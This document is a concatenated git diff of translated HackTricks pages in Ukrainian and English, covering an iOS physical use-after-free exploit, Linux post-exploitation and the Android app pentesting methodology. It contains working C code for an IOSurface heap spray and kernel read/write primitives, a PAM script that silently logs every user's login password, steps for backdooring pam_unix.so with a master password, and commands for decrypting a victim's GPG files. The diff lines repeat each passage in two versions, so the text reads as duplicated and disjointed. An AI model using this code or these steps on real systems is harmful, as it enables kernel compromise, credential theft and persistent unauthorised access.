Page tables are organized hierarchically in three levels:
1. **L1 Page Table (Level 1)**:
* Each entry here represents a large range of virtual memory.
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
2. **L2 Page Table (Level 2)**:
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
* An L1 entry may point to an L2 table if it can't map the entire region itself.
3. **L3 Page Table (Level 3)**:
* This is the finest level, where each entry maps a single **4 KB** memory page.
* An L2 entry may point to an L3 table if more granular control is needed.
#### Відображення віртуальної пам'яті в фізичну
* **Direct Mapping (Block Mapping)**:
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
* **Pointer to Child Page Table**:
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
#### Приклад: відображення віртуальної адреси
Lets say you try to access the virtual address **0x1000000000**:
1. **L1 Table**:
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
2. **L2 Table**:
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
3. **L3 Table**:
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
#### Приклад відображення адрес
If you write the physical address **0x800004000** into the first index of the L2 table, then:
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
* This is a **block mapping** at the L2 level.
Alternatively, if the L2 entry points to an L3 table:
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
### Фізичний use-after-free
A **physical use-after-free** (UAF) occurs when:
1. A process **allocates** some memory as **readable and writable**.
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
3. The process **deallocates** (frees) the memory.
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
6. Since the mapping wasnt removed, the process can still **read and write** to this physical memory.
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
### IOSurface Heap Spray
Since the attacker cant control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
> [!TIP]
> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
> KTRR (Kernel Text Read-Only Region), which locks down the kernels code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions.
### Покроковий процес Heap Spray
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
* Use one field to **read any 32-bit value** in kernel memory.
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
Згенеруйте об'єкти IOSurface з магічним значенням IOSURFACE\_MAGIC для подальшого пошуку:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Шукати об'єкти **`IOSurface`** в одній звільненій фізичній сторінці:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Досягнення Kernel Read/Write за допомогою IOSurface
Після отримання контролю над об'єктом IOSurface у kernel memory (mapped to a freed physical page, доступній з userspace), його можна використовувати для **довільних операцій читання та запису в kernel**.
**Ключові поля в IOSurface**
Об'єкт IOSurface має два ключові поля:
1. **Use Count Pointer**: дозволяє **32-bit read**.
2. **Indexed Timestamp Pointer**: дозволяє **64-bit write**.
Перезаписуючи ці вказівники, ми перенаправляємо їх на довільні адреси в kernel memory, що дає можливість читання/запису.
#### 32-Bit Kernel Read
Щоб виконати читання:
1. Перезапишіть **use count pointer**, щоб він вказував на цільову адресу мінус 0x14-byte offset.
2. Використайте метод `get_use_count`, щоб прочитати значення за цією адресою.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Щоб виконати запис:
1. Перезапишіть **indexed timestamp pointer**, щоб він вказував на цільну адресу.
2. Використайте метод `set_indexed_timestamp` для запису 64-бітного значення.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Підсумок потоку експлойту
1. **Trigger Physical Use-After-Free**: Вивільнені сторінки доступні для повторного використання.
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
3. **Identify Accessible IOSurface**: Знайдіть IOSurface на вивільненій сторінці, якою ви керуєте.
4. **Abuse Use-After-Free**: Змініть вказівники в об'єкті IOSurface, щоб отримати довільні **kernel read/write** через методи IOSurface.
За допомогою цих примітивів експлойт забезпечує контрольовані **32-bit reads** та **64-bit writes** у kernel memory. Подальші кроки для jailbreak можуть вимагати більш стабільних примітивів read/write, що може потребувати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,26 +1,26 @@
# Linux Пост-експлуатація
# Linux Post-Exploitation
{{#include ../../banners/hacktricks-training.md}}
## Перехоплення паролів при вході за допомогою PAM
## Sniffing Logon Passwords with PAM
Налаштуємо PAM-модуль для логування кожного пароля, який користувач вводить при вході. Якщо ви не знаєте, що таке PAM, перевірте:
Налаштуємо PAM-модуль для логування кожного пароля, який користувач вводить при вході. Якщо ви не знаєте, що таке PAM, перегляньте:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Нижче — лише підсумок:
**Для детальнішої інформації дивіться [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Нижче наведено короткий підсумок:
**Огляд методики:**
Pluggable Authentication Modules (PAM) надають гнучкість у керуванні автентифікацією в системах на базі Unix. Вони можуть підвищувати безпеку шляхом налаштування процесів входу, але також становлять ризики при неправильному використанні. У цьому короткому огляді описано методику збору облікових даних за допомогою PAM, а також стратегії пом'якшення.
**Technique Overview:**
Плагінні модулі автентифікації (PAM) забезпечують гнучкість у керуванні аутентифікацією на Unix-подібних системах. Вони можуть підвищувати безпеку шляхом налаштування процесів входу, але також становлять ризик у разі неправильного використання. Цей підсумок описує методику захоплення облікових даних за допомогою PAM та рекомендовані заходи пом’якшення.
**Перехоплення облікових даних:**
**Capturing Credentials:**
- Bash-скрипт із ім'ям `toomanysecrets.sh` створюється для логування спроб входу, записуючи дату, ім'я користувача (`$PAM_USER`), пароль (через stdin) та IP віддаленого хоста (`$PAM_RHOST`) у `/var/log/toomanysecrets.log`.
- Скрипт роблять виконуваним і інтегрують у конфігурацію PAM (`common-auth`) з використанням модуля `pam_exec.so` з опціями для тихого виконання та передачі токена автентифікації скрипту.
- Цей підхід демонструє, як скомпрометований Linux-хост може бути використаний для прихованого логування облікових даних.
- Створено bash-скрипт з ім'ям `toomanysecrets.sh`, який реєструє спроби входу, записуючи дату, ім'я користувача (`$PAM_USER`), пароль (через stdin) та IP віддаленого хоста (`$PAM_RHOST`) у `/var/log/toomanysecrets.log`.
- Скрипт роблять виконуваним і інтегрують у PAM-конфігурацію (`common-auth`) за допомогою модуля `pam_exec.so` з опціями для тихого виконання та надання скрипту токена аутентифікації.
- Цей підхід демонструє, як скомпрометований хост Linux може бути використаний для прихованого логування облікових даних.
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@ -32,30 +32,30 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**Для детальнішої інформації див. [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Це лише короткий огляд:
**Для детальнішої інформації перевірте [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Це лише підсумок:
The Pluggable Authentication Module (PAM) — система під Linux для автентифікації користувачів. Вона працює на трьох основних концептах: **username**, **password**, та **service**. Файли конфігурації для кожного сервісу знаходяться в каталозі `/etc/pam.d/`, де shared libraries обробляють автентифікацію.
Pluggable Authentication Module (PAM) — це система, що використовується в Linux для аутентифікації користувачів. Вона ґрунтується на трьох основних поняттях: **username**, **password**, **service**. Файли конфігурації для кожного сервісу знаходяться в директорії `/etc/pam.d/`, де спільні бібліотеки обробляють аутентифікацію.
**Objective**: Змінити PAM, щоб дозволяти автентифікацію з конкретним паролем, минаючи реальний пароль користувача. Це зосереджено на бібліотеці `pam_unix.so`, яка використовується файлом `common-auth`, що включається майже всіма сервісами для перевірки пароля.
**Мета**: Змодифікувати PAM, щоб дозволити аутентифікацію за конкретним паролем, обминаючи реальний пароль користувача. Особлива увага націлена на спільну бібліотеку `pam_unix.so`, яку використовує файл `common-auth`, і яку підключають майже всі сервіси для перевірки пароля.
### Steps for Modifying `pam_unix.so`:
### Кроки для модифікації `pam_unix.so`:
1. **Locate the Authentication Directive** in the `common-auth` file:
- Рядок, відповідальний за перевірку пароля користувача, викликає `pam_unix.so`.
- The line responsible for checking a user's password calls `pam_unix.so`.
2. **Modify Source Code**:
- Додайте умовну перевірку в файлі `pam_unix_auth.c`, яка надає доступ, якщо використано заздалегідь визначений пароль; інакше продовжує звичайний процес автентифікації.
- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
4. **Testing**:
- Доступ надається в різних сервісах (login, ssh, sudo, su, screensaver) за допомогою визначеного пароля, при цьому стандартні процеси автентифікації залишаються незмінними.
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
> [!TIP]
> Ви можете автоматизувати цей процес за допомогою [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
## Decrypting GPG loot via homedir relocation
Якщо ви знайдете зашифрований файл `.gpg` і папку користувача `~/.gnupg` (pubring, private-keys, trustdb), але не можете розшифрувати через permissions/locks GnuPG homedir, скопіюйте keyring у записуване місце і використайте його як ваш GPG home.
If you find an encrypted `.gpg` file and a users `~/.gnupg` folder (pubring, private-keys, trustdb) but you cant decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.
Типові помилки, які ви побачите без цього: "unsafe ownership on homedir", "failed to create temporary file", або "decryption failed: No secret key" (оскільки GPG не може читати/записувати оригінальний homedir).
Typical errors youll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG cant read/write the original homedir).
Workflow:
```bash
@ -70,7 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
Якщо секретний матеріал ключа присутній у `private-keys-v1.d`, GPG розблокує та розшифрує без запиту passphrase (або запитає, якщо ключ захищено).
Якщо матеріал секретного ключа присутній у `private-keys-v1.d`, GPG розблокує і розшифрує без запиту passphrase (або запитає, якщо ключ захищений).
## Посилання

File diff suppressed because it is too large Load Diff

View File

@ -4,7 +4,7 @@
## Основи додатків Android
Рекомендується почати з цієї сторінки, щоб дізнатися про **найважливіші аспекти, пов'язані з безпекою Android, та найбільш небезпечні компоненти в Android-додатку**:
Рекомендується почати з прочитання цієї сторінки, щоб дізнатися про **найважливіші частини, пов'язані з безпекою Android, та найнебезпечніші компоненти в Android-додатку**:
{{#ref}}
@ -13,23 +13,23 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Це основний інструмент, який потрібен для підключення до Android-пристрою (емульований або фізичний).\
**ADB** дозволяє керувати пристроями через **USB** або **Network** з комп'ютера. Ця утиліта дає змогу **копіювання** файлів у обох напрямках, **встановлення** та **видалення** додатків, **виконання** shell-команд, **резервного копіювання** даних, **читання** логів та інші функції.
Це головний інструмент, який потрібен, щоб підключитися до пристрою Android (емулятор або фізичний).\
**ADB** дозволяє керувати пристроями через **USB** або **Network** з комп'ютера. Ця утиліта дозволяє **копіювання** файлів в обох напрямках, **встановлення** та **видалення** додатків, **виконання** shell-команд, **резервне копіювання** даних, **читання** логів та інші функції.
Перегляньте наступний список [**ADB Commands**](adb-commands.md), щоб дізнатися, як використовувати adb.
Перегляньте наступний список [**ADB Commands**](adb-commands.md), щоб дізнатися, як користуватися adb.
## Smali
Іноді цікаво **змінити код додатку**, щоб отримати доступ до **прихованої інформації** (наприклад, сильно обфусковані паролі або flags). Тоді може бути цікаво декомпілювати the apk, змінити код і рекомпілювати його.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Це може бути дуже корисним як **альтернатива для деяких тестів під час dynamic analysis**, які будуть представлені. Тому завжди пам'ятайте про цю можливість.
Іноді цікаво **змінити код додатку**, щоб отримати доступ до **прихованої інформації** (наприклад, сильно обфусцованих паролів або flags). Тоді може бути корисно декомпілювати apk, змінити код і перекомпілювати його.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди майте на увазі цю можливість**.
## Інші цікаві прийоми
## Інші цікаві трюки
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- **Завантажити APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Витягнути APK з пристрою:
```bash
adb shell pm list packages
@ -61,41 +61,41 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
## Статичний аналіз
## Static Analysis
По-перше, для аналізу APK слід **переглянути Java код** за допомогою декомпілятора.\
Будь ласка, [**прочитайте тут, щоб знайти інформацію про різні доступні декомпілятори**](apk-decompilers.md).
Перш за все, для аналізу APK слід **подивитися Java код** за допомогою декомпілятора.\
Будь ласка, [**прочитайте тут, щоб знайти інформацію про різні доступні decompilers**](apk-decompilers.md).
### Пошук цікавої інформації
Просто переглянувши **strings** APK, ви можете шукати **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API** keys, **encryption**, **bluetooth uuids**, **tokens** та все, що здається цікавим... шукайте навіть code execution **backdoors** або authentication backdoors (hardcoded admin credentials to the app).
Просто переглянувши **strings** APK, ви можете шукати **паролі**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** і все, що може бути цікавим... шукайте навіть кодові виконувані **backdoors** або бекдори автентифікації (хардкодені admin credentials для додатку).
**Firebase**
Зверніть особливу увагу на **firebase URLs** та перевірте, чи вони не неправильно налаштовані. [Більше інформації про те, що таке Firebase і як це експлуатувати тут.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Зверніть особливу увагу на **Firebase URLs** і перевірте, чи коректно він налаштований. [Більше інформації про те, що таке Firebase і як це експлуатувати тут.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Базове розуміння додатку - Manifest.xml, strings.xml
### Базове розуміння застосунку - Manifest.xml, strings.xml
Огляд файлів _Manifest.xml_ і _strings.xml_ додатку може виявити потенційні вразливості безпеки. Ці файли можна отримати за допомогою декомпілятора або перейменувавши розширення файлу APK на .zip та розпакувавши його.
**Перевірка файлів _Manifest.xml_ та _strings.xml_ додатку може виявити потенційні вразливості безпеки**. До цих файлів можна отримати доступ за допомогою decompilers або перейменувавши розширення APK на .zip і розпакувавши його.
**Вразливості**, виявлені у **Manifest.xml**, включають:
**Вразливості**, які можна визначити з **Manifest.xml**, включають:
- **Debuggable Applications**: Додатки, встановлені як debuggable (`debuggable="true"`) у файлі _Manifest.xml_, становлять ризик, оскільки дозволяють підключення, які можуть призвести до експлуатації. Для детальнішого розуміння того, як експлуатувати debuggable-додатки, зверніться до керівництва з пошуку та експлуатації debuggable-додатків на пристрої.
- **Backup Settings**: Атрибут `android:allowBackup="false"` повинен бути явно встановлений для додатків, які працюють з чутливою інформацією, щоб запобігти несанкціонованому створенню бекапів через adb, особливо коли увімкнено usb debugging.
- **Network Security**: Користувацькі конфігурації мережевої безпеки (`android:networkSecurityConfig="@xml/network_security_config"`) в _res/xml/_ можуть визначати деталі безпеки, такі як certificate pins та налаштування HTTP-трафіку. Приклад — дозволення HTTP-трафіку для конкретних доменів.
- **Exported Activities and Services**: Виявлення exported activities та services у маніфесті може вказати на компоненти, якими можна зловживати. Подальший аналіз під час динамічного тестування може показати, як експлуатувати ці компоненти.
- **Debuggable Applications**: Додатки, вказані як debuggable (`debuggable="true"`) у файлі _Manifest.xml_, становлять ризик, оскільки дозволяють підключення, що може призвести до експлуатації. Для детальнішого розуміння того, як використовувати debuggable додатки, зверніться до навчального матеріалу про знаходження і експлуатацію debuggable додатків на пристрої.
- **Backup Settings**: Атрибут `android:allowBackup="false"` має бути явно вказаний для додатків, що працюють з чутливою інформацією, щоб запобігти несанкціонованому резервному копіюванню даних через adb, особливо коли USB debugging увімкнено.
- **Network Security**: Користувацькі конфігурації network security (`android:networkSecurityConfig="@xml/network_security_config"`) у _res/xml/_ можуть вказувати деталі безпеки, такі як certificate pins і налаштування HTTP трафіку. Приклад — дозволити HTTP трафік для певних доменів.
- **Exported Activities and Services**: Виявлення exported activities та services у манифесті може вказати на компоненти, які можуть бути неправильно використані. Подальший аналіз під час dynamic testing може показати, як експлуатувати ці компоненти.
- **Content Providers and FileProviders**: Відкриті content providers можуть дозволити несанкціонований доступ або модифікацію даних. Конфігурацію FileProviders також слід ретельно перевірити.
- **Broadcast Receivers and URL Schemes**: Ці компоненти можуть бути використані для експлуатації; зверніть особливу увагу на те, як обробляються URL schemes щодо вразливостей при прийомі вводу.
- **SDK Versions**: Атрибути `minSdkVersion`, `targetSDKVersion`, та `maxSdkVersion` вказують підтримувані версії Android, що підкреслює важливість не підтримувати застарілі, вразливі версії Android з міркувань безпеки.
- **Broadcast Receivers and URL Schemes**: Ці компоненти можуть бути використані для експлуатації, зверніть особливу увагу на те, як URL schemes обробляються щодо уразливостей введення.
- **SDK Versions**: Атрибути `minSdkVersion`, `targetSDKVersion` та `maxSdkVersion` вказують підтримувані версії Android, підкреслюючи важливість відмови від підтримки застарілих, вразливих версій Android з міркувань безпеки.
З файлу **strings.xml** можна виявити чутливу інформацію, таку як API keys, custom schemas та інші нотатки розробників, що підкреслює необхідність ретельного перегляду цих ресурсів.
У файлі **strings.xml** можна знайти чутливу інформацію, таку як API keys, custom schemas та інші нотатки розробника, що підкреслює необхідність ретельного перегляду цих ресурсів.
### Tapjacking
**Tapjacking** — це атака, коли **malicious** **application** запускається і **розміщується поверх додатку-жертви**. Коли воно візуально перекриває додаток-жертву, його інтерфейс користувача спроектовано так, щоб обдурити користувача і змусити його взаємодіяти з ним, при цьому взаємодія передається додатку-жертві.\
Внаслідок цього користувач **не бачить, що фактично виконує дії в додатку-жертві**.
**Tapjacking** — це атака, коли **шкідливий** **додаток** запускається і **розміщується поверх застосунку-жертви**. Коли він візуально перекриває додаток-жертву, його інтерфейс спроектований так, щоб обдурити користувача і змусити його взаємодіяти з ним, при цьому взаємодія передається у додаток-жертву.\
Фактично це **приосліплює користувача**, через що він не знає, що насправді виконує дії у додатку-жертві.
Детальніше у:
Дізнайтеся більше у:
{{#ref}}
@ -104,91 +104,91 @@ tapjacking.md
### Task Hijacking
Активність (**activity**) з **`launchMode`**, встановленим у **`singleTask` без визначеного `taskAffinity`**, вразлива до task Hijacking. Це означає, що шкідливий **application** може бути встановлений і, якщо його запустити перед справжнім додатком, він може **перехопити task справжнього додатку** (тобто користувач буде взаємодіяти зі **malicious application, думаючи, що використовує справжній**).
Активність з `launchMode`, встановленим у **`singleTask` без визначеного `taskAffinity`**, вразлива до Task Hijacking. Це означає, що **шкідливий додаток** може бути встановлений і якщо він буде запущений перед реальним додатком, він може **перехопити task реального додатку** (тому користувач взаємодіятиме зі **шкідливим додатком, думаючи, що це реальний**).
Детальніше у:
Детальніше тут:
{{#ref}}
android-task-hijacking.md
{{#endref}}
### Ненадійне зберігання даних
### Небезпечне зберігання даних
**Внутрішнє сховище**
В Android файли, **збережені** у **внутрішньому** сховищі, **створені** так, щоб бути **доступними** виключно для **додатку**, який їх **створив**. Цей механізм безпеки **забезпечується** операційною системою Android і зазвичай достатній для потреб більшості додатків. Проте розробники іноді використовують режими на кшталт `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** спільний доступ до файлів між різними додатками. Ці режими, однак, **не обмежують доступ** до цих файлів з боку інших додатків, включно з потенційно шкідливими.
В Android файли, **збережені** у **internal** storage, **призначені** для доступу виключно тим **додатком**, який їх **створив**. Цей захід безпеки **застосовується** операційною системою Android і зазвичай достатній для потреб більшості додатків. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **бути доступними** між різними додатками. Ці режими, проте, **не обмежують доступ** до файлів іншими додатками, включно з потенційно шкідливими.
1. **Статичний аналіз:**
- **Переконайтесь**, що використання `MODE_WORLD_READABLE` та `MODE_WORLD_WRITABLE` **ретельно проаналізовано**. Ці режими **можуть потенційно піддавати** файли небажаному або несанкціонованому доступу.
2. **Динамічний аналіз:**
- **Перевірте** права доступу до файлів, створених додатком. Зокрема, **перевірте**, чи будь-які файли не встановлені як доступні для читання або запису для всіх. Це може становити серйозний ризик безпеки, оскільки дозволяє **будь-якому додатку**, встановленому на пристрої, незалежно від його походження чи намірів, **читати або змінювати** ці файли.
1. **Static Analysis:**
- **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевірено**. Ці режими **можуть потенційно відкрити** файли для **непередбачуваного або несанкціонованого доступу**.
2. **Dynamic Analysis:**
- **Перевірте** дозволи, встановлені на файлах, створених додатком. Зокрема, **перевірте**, чи будь-які файли **налаштовані як readable або writable worldwide**. Це може створити значний ризик безпеки, оскільки дозволить **будь-якому встановленому додатку** на пристрої, незалежно від його походження або намірів, **читати або змінювати** ці файли.
**Зовнішнє сховище**
Працюючи з файлами на **external storage**, наприклад SD-карті, слід дотримуватися певних застережень:
При роботі з файлами на **external storage**, таких як SD Card, слід враховувати такі запобіжні заходи:
1. **Доступність**:
- Файли на external storage **загально доступні для читання і запису**. Це означає, що будь-який додаток або користувач може отримати доступ до цих файлів.
- Файли на external storage **доступні для читання і запису глобально**. Це означає, що будь-який додаток або користувач може отримати до них доступ.
2. **Проблеми безпеки**:
- Через легкість доступу не рекомендується **зберігати чутливу інформацію** на external storage.
- External storage може бути видалене або доступне будь-якому додатку, що робить його менш безпечним.
3. **Опрацювання даних із external storage**:
- Завжди **виконуйте валідацію вводу** для даних, отриманих із external storage. Це критично, оскільки дані походять з ненадійного джерела.
- Категорично не рекомендується зберігати виконувані файли або class-файли на external storage для динамічного завантаження.
- Якщо ваш додаток все ж має отримувати виконувані файли з external storage, переконайтеся, що ці файли **підписані та криптографічно перевірені** перед динамічним завантаженням. Цей крок важливий для збереження цілісності безпеки додатку.
- Через простоту доступу не рекомендується **зберігати чутливу інформацію** на external storage.
- External storage може бути вилучене або доступне будь-якому додатку, що робить його менш безпечним.
3. **Обробка даних з external storage**:
- Завжди **виконуйте валідацію введення** для даних, отриманих з external storage. Це критично, оскільки такі дані походять з недовіреного джерела.
- Не рекомендується зберігати виконувані файли або class-файли на external storage для динамічного завантаження.
- Якщо ваш додаток повинен отримувати виконувані файли з external storage, переконайтеся, що ці файли **підписані та криптографічно перевірені** перед їх динамічним завантаженням. Цей крок важливий для збереження цілісності безпеки вашого додатку.
External storage можна **знайти** в `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
> [!TIP]
> Починаючи з Android 4.4 (**API 17**), SD-карта має структуру директорій, яка **обмежує доступ додатку до директорії, що призначена саме для цього додатку**. Це запобігає отриманню шкідливим додатком прав на читання або запис файлів іншого додатку.
> Починаючи з Android 4.4 (**API 17**), SD card має структуру директорій, яка **обмежує доступ додатку лише до директорії, призначеної конкретно для цього додатку**. Це перешкоджає шкідливим додаткам отримувати доступ для читання або запису до файлів іншого додатку.
**Чутливі дані, збережені у відкритому тексті**
- **Shared preferences**: Android дозволяє кожному додатку зручно зберігати xml-файли в шляху `/data/data/<packagename>/shared_prefs/` і іноді можна знайти чутливу інформацію у відкритому вигляді в цій теці.
- **Databases**: Android дозволяє кожному додатку зручно зберігати sqlite databases в шляху `/data/data/<packagename>/databases/` і іноді можна знайти чутливу інформацію у відкритому вигляді в цій теці.
- **Shared preferences**: Android дозволяє кожному додатку зручно зберігати xml-файли в шляху `/data/data/<packagename>/shared_prefs/` і іноді в цій папці можна знайти чутливу інформацію у відкритому тексті.
- **Databases**: Android дозволяє кожному додатку зручно зберігати sqlite бази даних в шляху `/data/data/<packagename>/databases/` і іноді в цій папці можна знайти чутливу інформацію у відкритому тексті.
### Broken TLS
**Accept All Certificates**
З якоїсь причини іноді розробники приймають усі сертифікати, навіть якщо, наприклад, hostname не відповідає, з рядками коду на кшталт наведеного нижче:
З якоїсь причини розробники іноді приймають усі сертифікати, навіть якщо, наприклад, hostname не збігається, з рядками коду на кшталт наступного:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
Хороший спосіб перевірити це — спробувати перехопити трафік за допомогою proxy, наприклад Burp, не авторизувавши Burp CA на пристрої. Також можна згенерувати в Burp сертифікат для іншого hostname і використати його.
